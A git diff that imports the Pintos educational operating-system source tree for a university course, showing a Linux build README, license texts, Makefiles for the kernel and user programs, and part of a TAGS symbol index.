-rw-r--r--src/tests/vm/pt-grow-pusha.ck9
-rw-r--r--src/tests/vm/pt-grow-stack.c20
-rw-r--r--src/tests/vm/pt-grow-stack.ck10
-rw-r--r--src/tests/vm/pt-grow-stk-sc.c32
-rw-r--r--src/tests/vm/pt-grow-stk-sc.ck15
-rw-r--r--src/tests/vm/pt-write-code-2.c15
-rw-r--r--src/tests/vm/pt-write-code.c12
-rw-r--r--src/tests/vm/pt-write-code.ck7
-rw-r--r--src/tests/vm/pt-write-code2.ck10
-rw-r--r--src/tests/vm/qsort.c136
-rw-r--r--src/tests/vm/qsort.h8
-rw-r--r--src/tests/vm/sample.inc19
-rw-r--r--src/tests/vm/sample.txt17
-rw-r--r--src/threads/.cvsignore3
-rw-r--r--src/threads/Make.vars7
-rw-r--r--src/threads/Makefile1
-rw-r--r--src/threads/bochsrc.txt10
-rw-r--r--src/threads/boundedbuffer.c36
-rw-r--r--src/threads/boundedbuffer.h24
-rw-r--r--src/threads/copyright.h24
-rw-r--r--src/threads/flags.h8
-rw-r--r--src/threads/init.c429
-rw-r--r--src/threads/init.h22
-rw-r--r--src/threads/interrupt.c419
-rw-r--r--src/threads/interrupt.h70
-rw-r--r--src/threads/intr-stubs.S204
-rw-r--r--src/threads/intr-stubs.h19
-rw-r--r--src/threads/io.h173
-rw-r--r--src/threads/kernel.lds.S26
-rw-r--r--src/threads/loader.S349
-rw-r--r--src/threads/loader.h38
-rw-r--r--src/threads/malloc.c294
-rw-r--r--src/threads/malloc.h13
-rw-r--r--src/threads/palloc.c196
-rw-r--r--src/threads/palloc.h24
-rw-r--r--src/threads/pte.h107
-rw-r--r--src/threads/start.S16
-rw-r--r--src/threads/switch.S65
-rw-r--r--src/threads/switch.h39
-rw-r--r--src/threads/synch.c338
-rw-r--r--src/threads/synch.h51
-rw-r--r--src/threads/synchlist.c98
-rw-r--r--src/threads/synchlist.h39
-rw-r--r--src/threads/thread.c639
-rw-r--r--src/threads/thread.h146
-rw-r--r--src/threads/vaddr.h89
-rw-r--r--src/userprog/.cvsignore3
-rw-r--r--src/userprog/Make.vars8
-rw-r--r--src/userprog/Makefile1
-rw-r--r--src/userprog/bochsrc.txt13
-rw-r--r--src/userprog/exception.c161
-rw-r--r--src/userprog/exception.h12
-rw-r--r--src/userprog/flist.c4
-rw-r--r--src/userprog/flist.h35
-rw-r--r--src/userprog/gdt.c146
-rw-r--r--src/userprog/gdt.h15
-rw-r--r--src/userprog/load.c381
-rw-r--r--src/userprog/load.h7
-rw-r--r--src/userprog/pagedir.c263
-rw-r--r--src/userprog/pagedir.h18
-rw-r--r--src/userprog/plist.c3
-rw-r--r--src/userprog/plist.h33
-rw-r--r--src/userprog/process.c275
-rw-r--r--src/userprog/process.h23
-rw-r--r--src/userprog/syscall.c61
-rw-r--r--src/userprog/syscall.h6
-rw-r--r--src/userprog/test.c66
-rw-r--r--src/userprog/tss.c106
-rw-r--r--src/userprog/tss.h11
-rw-r--r--src/utils/.cvsignore3
-rw-r--r--src/utils/Makefile11
-rw-r--r--src/utils/backtrace106
-rw-r--r--src/utils/pintos882
-rw-r--r--src/utils/pintos-gdb20
-rw-r--r--src/utils/pintos-mkdisk37
-rw-r--r--src/utils/setitimer-helper.c49
-rw-r--r--src/utils/squish-pty.c355
-rw-r--r--src/utils/squish-unix.c354
-rw-r--r--src/vm/.cvsignore3
-rw-r--r--src/vm/Make.vars7
-rw-r--r--src/vm/Makefile1
644 files changed, 34819 insertions, 0 deletions
diff --git a/README.linux b/README.linux
new file mode 100644
index 0000000..bae4620
--- /dev/null
+++ b/README.linux
@@ -0,0 +1,105 @@
+As of 2014 this source tree compiles and runs on Linux.
+
+It is only tested on 3 x86-64 Linux systems and Solaris:
+- Ubuntu 13.04, gcc-4.7.3, qemu-1.4.0
+- Linux Mint 15, gcc-4.7.3, qemu-1.4.0
+- Arch Linux, gcc-4.8.1, qemu-1.7.0
+
+You will need:
+- A recent version of gcc
+- A recent version of qemu
+- Pintos source files from astmatix.ida.liu.se:/home/TDDI81/lab/skel/pintos
+- Pintos scripts from astmatix.ida.liu.se:/home/TDDI81/lab/bin
+- Some good fortune
+
+You may need to create a link named "qemu" to wherever
+qemu-system-i386 is located on your system.
+
+Make sure qemu and the pintos scripts are in your path.
+
+Troubles? Contact your assistant.
+
+Have it working? Feel free to tell us it works on your system.
+
+
+
+
+Some more information about the systems known to work:
+
+Solaris
+-------
+
+klaar@gedrix:~ uname -a
+SunOS gedrix.ida.liu.se 5.10 Generic_150400-01 sun4u sparc SUNW,Sun-Fire-V240
+
+klaar@gedrix:~ /sw/gcc-3.3.6/i386-elf/bin/gcc --version
+gcc (GCC) 3.3.6
+Copyright (C) 2003 Free Software Foundation, Inc.
+This is free software; see the source for copying conditions. There is NO
+warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+klaar@gedrix:~ qemu -h
+QEMU PC emulator version 0.9.0, Copyright (c) 2003-2007 Fabrice Bellard
+usage: qemu [options] [disk_image]
+
+
+LinuxMint
+---------
+
+klaar@chipolata30:~ uname -a
+Linux chipolata30 3.8.0-32-generic #47-Ubuntu SMP Tue Oct 1 22:35:23 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
+
+klaar@chipolata30:~ lsb_release -a
+LSB Version: core-2.0-amd64:core-2.0-noarch:core-3.0-amd64:core-3.0-noarch:core-3.1-amd64:core-3.1-noarch:core-3.2-amd64:core-3.2-noarch:core-4.0-amd64:core-4.0-noarch:graphics-2.0-amd64:graphics-2.0-noarch:graphics-3.0-amd64:graphics-3.0-noarch:graphics-3.1-amd64:graphics-3.1-noarch:graphics-3.2-amd64:graphics-3.2-noarch:graphics-4.0-amd64:graphics-4.0-noarch
+Distributor ID: LinuxMint
+Description: Linux Mint 15 Olivia
+Release: 15
+Codename: olivia
+
+klaar@chipolata30:~ gcc --version
+gcc (Ubuntu/Linaro 4.7.3-1ubuntu1) 4.7.3
+Copyright (C) 2012 Free Software Foundation, Inc.
+This is free software; see the source for copying conditions. There is NO
+warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+klaar@chipolata30:~ qemu --version
+QEMU emulator version 1.4.0 (Debian 1.4.0+dfsg-1expubuntu4), Copyright (c) 2003-2008 Fabrice Bellard
+
+
+Ubuntu
+------
+
+klaar@chipolata20:~ uname -a
+Linux chipolata20 3.8.0-32-generic #47-Ubuntu SMP Tue Oct 1 22:35:23 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
+
+klaar@chipolata20:~ lsb_release -a
+LSB Version: core-2.0-amd64:core-2.0-noarch:core-3.0-amd64:core-3.0-noarch:core-3.1-amd64:core-3.1-noarch:core-3.2-amd64:core-3.2-noarch:core-4.0-amd64:core-4.0-noarch:graphics-2.0-amd64:graphics-2.0-noarch:graphics-3.0-amd64:graphics-3.0-noarch:graphics-3.1-amd64:graphics-3.1-noarch:graphics-3.2-amd64:graphics-3.2-noarch:graphics-4.0-amd64:graphics-4.0-noarch
+Distributor ID: Ubuntu
+Description: Ubuntu 13.04
+Release: 13.04
+Codename: raring
+
+klaar@chipolata20:~ gcc --version
+gcc (Ubuntu/Linaro 4.7.3-1ubuntu1) 4.7.3
+Copyright (C) 2012 Free Software Foundation, Inc.
+This is free software; see the source for copying conditions. There is NO
+warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+klaar@chipolata20:~ qemu --version
+QEMU emulator version 1.4.0 (Debian 1.4.0+dfsg-1expubuntu4), Copyright (c) 2003-2008 Fabrice Bellard
+
+
+Arch Linux
+----------
+
+[klaar@davinci ~]$ uname -a
+Linux davinci 3.10.10-1-ARCH #1 SMP PREEMPT Fri Aug 30 11:30:06 CEST 2013 x86_64 GNU/Linux
+
+[klaar@davinci ~]$ gcc --version
+gcc (GCC) 4.8.1 20130725 (prerelease)
+Copyright (C) 2013 Free Software Foundation, Inc.
+This is free software; see the source for copying conditions. There is NO
+warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+[klaar@davinci ~]$ qemu --version
+QEMU emulator version 1.7.0, Copyright (c) 2003-2008 Fabrice Bellard
diff --git a/src/LICENSE b/src/LICENSE
new file mode 100644
index 0000000..8702541
--- /dev/null
+++ b/src/LICENSE
@@ -0,0 +1,95 @@
+Pintos, including its documentation, is subject to the following
+license:
+
+ Copyright (C) 2004, 2005, 2006 Board of Trustees, Leland Stanford
+ Jr. University. All rights reserved.
+
+ Permission is hereby granted, free of charge, to any person obtaining
+ a copy of this software and associated documentation files (the
+ "Software"), to deal in the Software without restriction, including
+ without limitation the rights to use, copy, modify, merge, publish,
+ distribute, sublicense, and/or sell copies of the Software, and to
+ permit persons to whom the Software is furnished to do so, subject to
+ the following conditions:
+
+ The above copyright notice and this permission notice shall be
+ included in all copies or substantial portions of the Software.
+
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+ LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+ OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+A few individual files in Pintos were originally derived from other
+projects, but they have been extensively modified for use in Pintos.
+The original code falls under the original license, and modifications
+for Pintos are additionally covered by the Pintos license above.
+
+In particular, code derived from Nachos is subject to the following
+license:
+
+/* Copyright (c) 1992-1996 The Regents of the University of California.
+ All rights reserved.
+
+ Permission to use, copy, modify, and distribute this software
+ and its documentation for any purpose, without fee, and
+ without written agreement is hereby granted, provided that the
+ above copyright notice and the following two paragraphs appear
+ in all copies of this software.
+
+ IN NO EVENT SHALL THE UNIVERSITY OF CALIFORNIA BE LIABLE TO
+ ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR
+ CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE
+ AND ITS DOCUMENTATION, EVEN IF THE UNIVERSITY OF CALIFORNIA
+ HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+ THE UNIVERSITY OF CALIFORNIA SPECIFICALLY DISCLAIMS ANY
+ WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ PURPOSE. THE SOFTWARE PROVIDED HEREUNDER IS ON AN "AS IS"
+ BASIS, AND THE UNIVERSITY OF CALIFORNIA HAS NO OBLIGATION TO
+ PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
+ MODIFICATIONS.
+*/
+
+Also, code derived from MIT's 6.828 course code is subject to the
+following license:
+
+/*
+ * Copyright (C) 1997 Massachusetts Institute of Technology
+ *
+ * This software is being provided by the copyright holders under the
+ * following license. By obtaining, using and/or copying this software,
+ * you agree that you have read, understood, and will comply with the
+ * following terms and conditions:
+ *
+ * Permission to use, copy, modify, distribute, and sell this software
+ * and its documentation for any purpose and without fee or royalty is
+ * hereby granted, provided that the full text of this NOTICE appears on
+ * ALL copies of the software and documentation or portions thereof,
+ * including modifications, that you make.
+ *
+ * THIS SOFTWARE IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO
+ * REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE,
+ * BUT NOT LIMITATION, COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR
+ * WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR
+ * THAT THE USE OF THE SOFTWARE OR DOCUMENTATION WILL NOT INFRINGE ANY
+ * THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS. COPYRIGHT
+ * HOLDERS WILL BEAR NO LIABILITY FOR ANY USE OF THIS SOFTWARE OR
+ * DOCUMENTATION.
+ *
+ * The name and trademarks of copyright holders may NOT be used in
+ * advertising or publicity pertaining to the software without specific,
+ * written prior permission. Title to copyright in this software and any
+ * associated documentation will at all times remain with copyright
+ * holders. See the file AUTHORS which should have accompanied this software
+ * for a list of all copyright holders.
+ *
+ * This file may be derived from previously copyrighted software. This
+ * copyright applies only to those changes made by the copyright
+ * holders listed in the AUTHORS file. The rest of this file is covered by
+ * the copyright notices, if any, listed below.
+ */
diff --git a/src/Make.config b/src/Make.config
new file mode 100644
index 0000000..0bd073f
--- /dev/null
+++ b/src/Make.config
@@ -0,0 +1,59 @@
+# -*- makefile -*-
+
+SHELL = /bin/sh
+
+VPATH = $(SRCDIR)
+
+# Binary utilities.
+# If the host appears to be x86, use the normal tools.
+# If it's x86-64, use the compiler and linker in 32-bit mode.
+# Otherwise assume cross-tools are installed as i386-elf-*.
+X86 = i.86\|pentium.*\|[pk][56]\|nexgen\|viac3\|6x86\|athlon.*\|i86pc
+X86_64 = x86_64
+ifneq (0, $(shell expr `uname -m` : '$(X86)'))
+ CC = gcc
+ LD = ld
+ OBJCOPY = objcopy
+else
+ ifneq (0, $(shell expr `uname -m` : '$(X86_64)'))
+ CC = gcc -m32
+ LD = ld -melf_i386
+ OBJCOPY = objcopy
+ else
+ CC = i386-elf-gcc
+ LD = i386-elf-ld
+ OBJCOPY = i386-elf-objcopy
+ endif
+endif
+
+ifeq ($(strip $(shell command -v $(CC) 2> /dev/null)),)
+$(warning *** Compiler ($(CC)) not found. Did you set $$PATH properly? Please refer to the Getting Started section in the documentation for details. ***)
+endif
+
+# filst04@liu 2014-01: added to support some Linux distributions
+# klaar36@ida 2014-01: which architecture, compiler and system
+# combinations need this?
+ifneq (0, $(shell expr `uname -s` : 'Linux'))
+ # not supported by SunOS cross compiler
+ CFLAG_STACK_PROTECTOR = -fno-stack-protector
+ LDFLAG_BUILD_ID = -Wl,--build-id=none
+else
+ CFLAG_STACK_PROTECTOR =
+ LDFLAG_BUILD_ID =
+endif
+
+# Compiler and assembler invocation.
+DEFINES =
+WARNINGS = -Wall -W -Wstrict-prototypes -Wmissing-prototypes -Wsystem-headers
+# klaar36@ida 2015-03: -fno-omit-frame-pointer to get working backtrace
+CFLAGS = -g -msoft-float -fno-omit-frame-pointer -O $(CFLAG_STACK_PROTECTOR)
+CPPFLAGS = -nostdinc -I$(SRCDIR) -I$(SRCDIR)/lib
+ASFLAGS = -Wa,--gstabs
+LDFLAGS =
+DEPS = -MMD -MF $(@:.o=.d)
+
+%.o: %.c
+ $(CC) -c $< -o $@ $(CFLAGS) $(CPPFLAGS) $(WARNINGS) $(DEFINES) $(DEPS)
+
+%.o: %.S
+ $(CC) -c $< -o $@ $(ASFLAGS) $(CPPFLAGS) $(DEFINES) $(DEPS)
diff --git a/src/Makefile b/src/Makefile
new file mode 100644
index 0000000..551f654
--- /dev/null
+++ b/src/Makefile
@@ -0,0 +1,47 @@
+BUILD_SUBDIRS = threads userprog vm filesys
+
+all::
+ @echo "Run 'make' in subdirectories: $(BUILD_SUBDIRS)."
+ @echo "This top-level make has only 'clean' targets."
+
+CLEAN_SUBDIRS = $(BUILD_SUBDIRS) examples utils
+
+clean::
+ for d in $(CLEAN_SUBDIRS); do $(MAKE) -C $$d $@; done
+ rm -f TAGS tags
+
+distclean:: clean
+ find . -name '*~' -exec rm '{}' \;
+ find . -name 'fs.dsk' -exec rm '{}' \;
+
+TAGS_SUBDIRS = $(BUILD_SUBDIRS) devices lib
+TAGS_SOURCES = find $(TAGS_SUBDIRS) -name \*.[chS] -print
+
+TAGS::
+ etags --members `$(TAGS_SOURCES)`
+
+tags::
+ ctags -T --no-warn `$(TAGS_SOURCES)`
+
+cscope.files::
+ $(TAGS_SOURCES) > cscope.files
+
+cscope:: cscope.files
+ cscope -b -q -k
+
+SKEL_SRC = $(shell find . -name '*.[ch]' -exec /usr/xpg4/bin/egrep -q '//--*\[ .*\]--*//' {} \; -print)
+
+skel:: TAGS
+ @for i in $(SKEL_SRC); do \
+ echo "Processing $$i"; \
+ mv $$i $$i~~; \
+ /home/klaar/bin/strip $$i~~ $$i; \
+ done
+
+REVERT = $(subst ~~,,$(shell find . -name '*~~'))
+
+revert::
+ @for i in $(REVERT); do \
+ echo "Processing $$i"; \
+ mv $$i~~ $$i; \
+ done
diff --git a/src/Makefile.build b/src/Makefile.build
new file mode 100644
index 0000000..b5474f5
--- /dev/null
+++ b/src/Makefile.build
@@ -0,0 +1,109 @@
+# -*- makefile -*-
+
+SRCDIR = ../..
+
+all: os.dsk
+
+include ../../Make.config
+include ../Make.vars
+include ../../tests/Make.tests
+
+# Compiler and assembler options.
+os.dsk: CPPFLAGS += -I$(SRCDIR)/lib/kernel
+
+# Core kernel.
+threads_SRC = threads/init.c # Main program.
+threads_SRC += threads/thread.c # Thread management core.
+threads_SRC += threads/switch.S # Thread switch routine.
+threads_SRC += threads/interrupt.c # Interrupt core.
+threads_SRC += threads/intr-stubs.S # Interrupt stubs.
+threads_SRC += threads/synch.c # Synchronization.
+threads_SRC += threads/palloc.c # Page allocator.
+threads_SRC += threads/malloc.c # Subpage allocator.
+threads_SRC += threads/start.S # Startup code.
+threads_SRC += threads/boundedbuffer.c # bounded buffer code
+threads_SRC += threads/synchlist.c # synchronized list code
+
+# Device driver code.
+devices_SRC = devices/timer.c # Timer device.
+devices_SRC += devices/kbd.c # Keyboard device.
+devices_SRC += devices/vga.c # Video device.
+devices_SRC += devices/serial.c # Serial port device.
+devices_SRC += devices/disk.c # IDE disk device.
+devices_SRC += devices/input.c # Serial and keyboard input.
+devices_SRC += devices/intq.c # Interrupt queue.
+
+# Library code shared between kernel and user programs.
+lib_SRC = lib/debug.c # Debug helpers.
+lib_SRC += lib/random.c # Pseudo-random numbers.
+lib_SRC += lib/stdio.c # I/O library.
+lib_SRC += lib/stdlib.c # Utility functions.
+lib_SRC += lib/string.c # String functions.
+lib_SRC += lib/arithmetic.c
+
+# Kernel-specific library code.
+lib/kernel_SRC = lib/kernel/debug.c # Debug helpers.
+lib/kernel_SRC += lib/kernel/list.c # Doubly-linked lists.
+lib/kernel_SRC += lib/kernel/bitmap.c # Bitmaps.
+lib/kernel_SRC += lib/kernel/hash.c # Hash tables.
+lib/kernel_SRC += lib/kernel/console.c # printf(), putchar().
+lib/kernel_SRC += lib/kernel/slist.c # simple list
+
+# User process code.
+userprog_SRC = userprog/process.c # Process loading.
+userprog_SRC += userprog/load.c # Process loading.
+userprog_SRC += userprog/pagedir.c # Page directories.
+userprog_SRC += userprog/exception.c # User exception handler.
+userprog_SRC += userprog/syscall.c # System call handler.
+userprog_SRC += userprog/gdt.c # GDT initialization.
+userprog_SRC += userprog/tss.c # TSS management.
+userprog_SRC += userprog/flist.c # Open file list.
+userprog_SRC += userprog/plist.c # Process list.
+
+# No virtual memory code yet.
+#vm_SRC = vm/file.c # Some file.
+
+# Filesystem code.
+filesys_SRC = filesys/filesys.c # Filesystem core.
+filesys_SRC += filesys/free-map.c # Free sector bitmap.
+filesys_SRC += filesys/file.c # Files.
+filesys_SRC += filesys/directory.c # Directories.
+filesys_SRC += filesys/inode.c # File headers.
+filesys_SRC += filesys/fsutil.c # Utilities.
+
+SOURCES = $(foreach dir,$(KERNEL_SUBDIRS),$($(dir)_SRC))
+OBJECTS = $(patsubst %.c,%.o,$(patsubst %.S,%.o,$(SOURCES)))
+DEPENDS = $(patsubst %.o,%.d,$(OBJECTS))
+
+threads/kernel.lds.s: CPPFLAGS += -P
+threads/kernel.lds.s: threads/kernel.lds.S threads/loader.h
+
+kernel.o: threads/kernel.lds.s $(OBJECTS)
+ $(LD) -T $< -o $@ $(OBJECTS)
+
+kernel.bin: kernel.o
+ $(OBJCOPY) -O binary -R .note -R .comment -S $< $@.tmp
+ dd if=$@.tmp of=$@ bs=4096 conv=sync
+ rm $@.tmp
+
+threads/loader.o: threads/loader.S kernel.bin
+ $(CC) -c $< -o $@ $(ASFLAGS) $(CPPFLAGS) $(DEFINES) -DKERNEL_LOAD_PAGES=`perl -e 'print +(-s "kernel.bin") / 4096;'`
+
+loader.bin: threads/loader.o
+ $(LD) -N -e start -Ttext 0x7c00 --oformat binary -o $@ $<
+
+os.dsk: loader.bin kernel.bin
+ cat $^ > $@
+
+clean::
+ rm -f $(OBJECTS) $(DEPENDS)
+ rm -f threads/loader.o threads/kernel.lds.s threads/loader.d
+ rm -f kernel.o kernel.lds.s
+ rm -f kernel.bin loader.bin os.dsk
+ rm -f bochsout.txt bochsrc.txt
+ rm -f results grade
+
+Makefile: $(SRCDIR)/Makefile.build
+ cp $< $@
+
+-include $(DEPENDS)
diff --git a/src/Makefile.kernel b/src/Makefile.kernel
new file mode 100644
index 0000000..cf5c58a
--- /dev/null
+++ b/src/Makefile.kernel
@@ -0,0 +1,20 @@
+# -*- makefile -*-
+
+all:
+
+include Make.vars
+
+DIRS = $(sort $(addprefix build/,$(KERNEL_SUBDIRS) $(TEST_SUBDIRS) lib/user))
+
+all grade check recheck: $(DIRS) build/Makefile
+ cd build && $(MAKE) $@
+$(DIRS):
+ mkdir -p $@
+build/Makefile: ../Makefile.build
+ cp $< $@
+
+build/%: $(DIRS) build/Makefile
+ cd build && $(MAKE) $*
+
+clean:
+ rm -rf build
diff --git a/src/Makefile.userprog b/src/Makefile.userprog
new file mode 100644
index 0000000..f7271fe
--- /dev/null
+++ b/src/Makefile.userprog
@@ -0,0 +1,57 @@
+# -*- makefile -*-
+
+$(PROGS): CPPFLAGS += -I$(SRCDIR)/lib/user -I.
+
+# Linker flags.
+$(PROGS): LDFLAGS = -nostdlib -static -Wl,-T,$(LDSCRIPT)
+$(PROGS): LDSCRIPT = $(SRCDIR)/lib/user/user.lds
+# filst04@liu 2014-01: Added to ignore the build-id located at offset 0.
+$(PROGS): LDFLAGS += $(LDFLAG_BUILD_ID)
+
+# Library code shared between kernel and user programs.
+lib_SRC = lib/debug.c # Debug code.
+lib_SRC += lib/random.c # Pseudo-random numbers.
+lib_SRC += lib/stdio.c # I/O library.
+lib_SRC += lib/stdlib.c # Utility functions.
+lib_SRC += lib/string.c # String functions.
+lib_SRC += lib/arithmetic.c
+
+# User level only library code.
+lib/user_SRC = lib/user/debug.c # Debug helpers.
+lib/user_SRC += lib/user/syscall.c # System calls.
+lib/user_SRC += lib/user/console.c # Console code.
+
+LIB_OBJ = $(patsubst %.c,%.o,$(patsubst %.S,%.o,$(lib_SRC) $(lib/user_SRC)))
+LIB_DEP = $(patsubst %.o,%.d,$(LIB_OBJ))
+LIB = lib/user/entry.o libc.a
+
+PROGS_SRC = $(foreach prog,$(PROGS),$($(prog)_SRC))
+PROGS_OBJ = $(patsubst %.c,%.o,$(patsubst %.S,%.o,$(PROGS_SRC)))
+PROGS_DEP = $(patsubst %.o,%.d,$(PROGS_OBJ))
+
+all: $(PROGS)
+
+# filst04@liu 2014-01: Needed to not break the system call functions
+# on modern Linux'es, works on SunOS too
+lib/user/syscall.o: CPPFLAGS += -fno-omit-frame-pointer
+
+define TEMPLATE
+$(1)_OBJ = $(patsubst %.c,%.o,$(patsubst %.S,%.o,$($(1)_SRC)))
+$(1): $$($(1)_OBJ) $$(LIB) $$(LDSCRIPT)
+ $$(CC) $$(LDFLAGS) $$($(1)_OBJ) $$(LIB) -o $$@
+endef
+
+$(foreach prog,$(PROGS),$(eval $(call TEMPLATE,$(prog))))
+
+libc.a: $(LIB_OBJ)
+ rm -f $@
+ ar r $@ $^
+ ranlib $@
+
+clean::
+ rm -f $(PROGS) $(PROGS_OBJ) $(PROGS_DEP)
+ rm -f $(LIB_DEP) $(LIB_OBJ) lib/user/entry.[do] libc.a
+
+.PHONY: all clean
+
+-include $(LIB_DEP) $(PROGS_DEP)
diff --git a/src/TAGS b/src/TAGS
new file mode 100644
index 0000000..542e6f4
--- /dev/null
+++ b/src/TAGS
@@ -0,0 +1,1560 @@
+
+threads/flags.h,75
+#define THREADS_FLAGS_H2,24
+#define FLAG_MBS 5,72
+#define FLAG_IF 6,123
+
+threads/init.c,544
+size_t ram_pages;39,889
+uint32_t *base_page_dir;base_page_dir42,956
+static bool format_filesys;46,1031
+bool power_off_when_done 50,1116
+bool force_off_when_done 52,1192
+int thread_create_limit 54,1285
+int main 67,1575
+ram_init 137,2928
+paging_init 162,3880
+read_command_line 198,5011
+parse_options 233,5756
+run_task 272,6934
+run_actions 288,7274
+ struct action 291,7322
+ char *name;name293,7345
+ int argc;294,7404
+ void (*function)function295,7484
+usage 339,8544
+power_off 382,10288
+print_stats 417,11053
+
+threads/init.h,51
+#define THREADS_INIT_H2,23
+void power_off 20,438
+
+threads/interrupt.c,714
+#define INTR_CNT 14,309
+static uint64_t idt[idt20,575
+static intr_handler_func *intr_handlers[intr_handlers23,661
+static const char *intr_names[intr_names26,769
+static bool in_external_intr;35,1205
+static bool yield_on_return;36,1284
+intr_get_level 52,1848
+intr_set_level 68,2328
+intr_enable 75,2519
+intr_disable 91,2903
+intr_init 105,3236
+register_handler 152,4930
+intr_register_ext 168,5490
+intr_register_int 189,6387
+intr_context 199,6723
+intr_yield_on_return 209,6976
+pic_init 232,7856
+pic_end_of_interrupt 259,8799
+make_gate 288,9875
+make_intr_gate 311,10633
+make_trap_gate 319,10815
+make_idtr_operand 327,11050
+intr_handler 339,11409
+intr_dump_frame 392,12850
+intr_name 416,13788
+
+threads/interrupt.h,710
+#define THREADS_INTERRUPT_H2,28
+enum intr_level 8,127
+ INTR_OFF,10,148
+ INTR_ON 11,201
+struct intr_frame20,452
+ uint32_t edi;24,579
+ uint32_t esi;25,628
+ uint32_t ebp;26,677
+ uint32_t esp_dummy;27,726
+ uint32_t ebx;28,774
+ uint32_t edx;29,823
+ uint32_t ecx;30,872
+ uint32_t eax;31,921
+ uint16_t gs,32,970
+ uint16_t fs,33,1035
+ uint16_t es,34,1100
+ uint16_t ds,35,1165
+ uint32_t vec_no;38,1280
+ uint32_t error_code;43,1506
+ void *frame_pointer;frame_pointer47,1668
+ void (*eip)eip51,1820
+ uint16_t cs,52,1887
+ uint32_t eflags;53,1947
+ void *esp;esp54,2002
+ uint16_t ss,55,2061
+typedef void intr_handler_func 58,2127
+
+threads/intr-stubs.S,199
+.func 18,535
+intr_entry:intr_entry19,552
+.globl 36,916
+.globl 49,1250
+.func 50,1267
+intr_exit:intr_exit51,1283
+.globl 94,2432
+intr_stubs:intr_stubs95,2450
+.globl 114,3176
+.func 115,3226
+
+threads/intr-stubs.h,70
+#define THREADS_INTR_STUBS_H2,29
+typedef void intr_stub_func 13,423
+
+threads/io.h,204
+#define THREADS_IO_H42,1987
+inb 49,2114
+insb 60,2381
+inw 71,2691
+insw 82,2977
+inl 93,3287
+insl 104,3569
+outb 115,3864
+outsb 124,4095
+outw 135,4395
+outsw 144,4649
+outl 155,4949
+outsl 164,5195
+
+threads/loader.S,247
+.globl 60,2723
+start:start61,2736
+read_sector:read_sector236,7150
+gdt:gdt304,8114
+gdtdesc:gdtdesc309,8239
+panic:panic316,8406
+panic_message:panic_message326,8574
+ram_pgs:ram_pgs333,8755
+arg_cnt:arg_cnt340,8990
+args:args343,9040
+
+threads/loader.h,481
+#define THREADS_LOADER_H2,25
+#define LOADER_BASE 5,89
+#define LOADER_END 6,162
+#define LOADER_KERN_BASE 9,275
+#define LOADER_PHYS_BASE 18,611
+#define LOADER_SIG 21,707
+#define LOADER_ARGS 22,787
+#define LOADER_ARG_CNT 23,867
+#define LOADER_RAM_PGS 24,947
+#define LOADER_SIG_LEN 27,1067
+#define LOADER_ARGS_LEN 28,1092
+#define LOADER_ARG_CNT_LEN 29,1120
+#define LOADER_RAM_PGS_LEN 30,1149
+#define SEL_NULL 34,1267
+#define SEL_KCSEG 35,1320
+#define SEL_KDSEG 36,1380
+
+threads/malloc.c,589
+struct desc38,1402
+ size_t block_size;40,1418
+ size_t blocks_per_arena;41,1487
+ struct list free_list;42,1555
+ struct lock lock;43,1614
+#define ARENA_MAGIC 47,1715
+struct arena 50,1760
+ unsigned magic;52,1778
+ struct desc *desc;desc53,1843
+ size_t free_cnt;54,1920
+struct block 58,2015
+ struct list_elem free_elem;60,2033
+static struct desc descs[descs64,2126
+static size_t desc_cnt;65,2177
+malloc_init 72,2409
+malloc 90,2927
+calloc 159,4751
+block_size 179,5115
+realloc 195,5625
+free 219,6220
+block_to_arena 268,7469
+arena_to_block 286,7945
+
+threads/malloc.h,84
+#define THREADS_MALLOC_H2,25
+void *malloc malloc8,116
+void *calloc calloc9,164
+
+threads/palloc.c,446
+struct pool30,966
+ struct lock lock;32,982
+ struct bitmap *used_map;used_map33,1046
+ uint8_t *base;base34,1114
+struct pool kernel_pool,38,1238
+struct pool kernel_pool, user_pool;38,1238
+size_t user_page_limit 41,1326
+size_t free_page_limit 42,1361
+palloc_init 50,1625
+palloc_get_multiple 85,2799
+palloc_get_page 125,3840
+palloc_free_multiple 132,3984
+palloc_free_page 160,4611
+init_pool 168,4800
+page_from_pool 189,5510
+
+threads/palloc.h,118
+#define THREADS_PALLOC_H2,25
+enum palloc_flags7,101
+ PAL_ASSERT 9,123
+ PAL_ZERO 10,179
+ PAL_USER 11,237
+
+threads/pte.h,714
+#define THREADS_PTE_H2,22
+#define PTSHIFT 21,612
+#define PTBITS 22,675
+#define PTSPAN 23,751
+#define PTMASK 24,831
+#define PDSHIFT 27,947
+#define PDBITS 28,1022
+#define PDMASK 29,1096
+static inline unsigned pt_no 32,1230
+static inline uintptr_t pd_no 37,1387
+#define PTE_FLAGS 61,2329
